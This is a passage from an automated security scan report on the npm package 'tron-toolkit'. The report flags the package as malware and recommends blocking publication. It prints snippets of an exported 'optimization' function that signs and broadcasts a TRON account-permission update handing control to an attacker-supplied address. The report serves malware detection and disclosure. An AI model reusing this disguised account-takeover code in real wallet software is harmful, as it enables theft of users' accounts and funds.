This can hand account control to the supplied party. - **Trigger:** A consumer calls performAdvancedOptimization with a TronWeb client, account address, and attacker value. - **Impact:** Potential unauthorized transfer of control over the caller's TRON account. - **Evidence paths:** index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-31T06:11:47.093Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Builds, signs, and broadcasts an account-permission update. - **Attack narrative:** The package advertises resource optimization but exposes performAdvancedOptimization, which treats an attacker value as a new account permission. When called with a signing-capable TronWeb client, it creates the permission update, signs it, and broadcasts it to the configured TRON network. The resulting on-chain permission change can allow the supplied attacker to control the account. - **Rationale:** The code contains a concrete account-takeover primitive disguised as optimization functionality. Although it is not install-time behavior, the deceptive exported routine is malicious. ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The manifest presents an energy-management toolkit, but its exported optimizer accepts an attacker-controlled account permission., The optimizer builds an account-permission update that assigns the supplied attacker value., It signs and broadcasts that permission-changing transaction through the caller's TronWeb client. - **Evidence against:** There are no lifecycle scripts, local file writes, environment reads, shell commands, or hard-coded network endpoints., The harmful path requires an explicit runtime call and a caller-supplied signed transaction context. ## Public findings ### 1. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() The manifest presents an energy-management toolkit, but its exported optimizer accepts an attacker-controlled account permission. Public source snippet (untrusted): ```json "description": "Utility toolkit for TRON developers — energy management, resource optimization, and transaction helpers", "main": "index.js", ``` ### 2. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** index.js - **Public source:** [View source]() The optimizer builds an account-permission update that assigns the supplied attacker value. Public source snippet (untrusted): ```javascript async function performAdvancedOptimization(tronWeb, address, attacker) { const tx = await tronWeb.transactionBuilder.accountPermissionUpdate( address, attacker, 1, [], [] ); ``` ### 3. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** index.js - **Public source:** [View source]() It signs and broadcasts that permission-changing transaction through the caller's TronWeb client. Public source snippet (untrusted): ```javascript const signed = await tronWeb.trx.sign(tx); return await tronWeb.trx.sendRawTransaction(signed); ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** tron-toolkit - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-08-30T14:28:12.499Z - **Package first seen:** 2026-08-31T06:11:47.093Z - **Package last seen:** 2026-08-31T08:32:29.139Z - **Known versions:** 2 - **Latest version:** 1.0.1 - **Appeal under review:** No - **Description:** Utility toolkit for TRON developers — energy management, resource optimization, and transaction helpers - **Author:** TRON Developer Tools - **Keywords:** tron, energy, optimizer, toolkit, developer-tools - **Artifact files:** 2 - **Artifact unpacked size:** 1,441 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]()
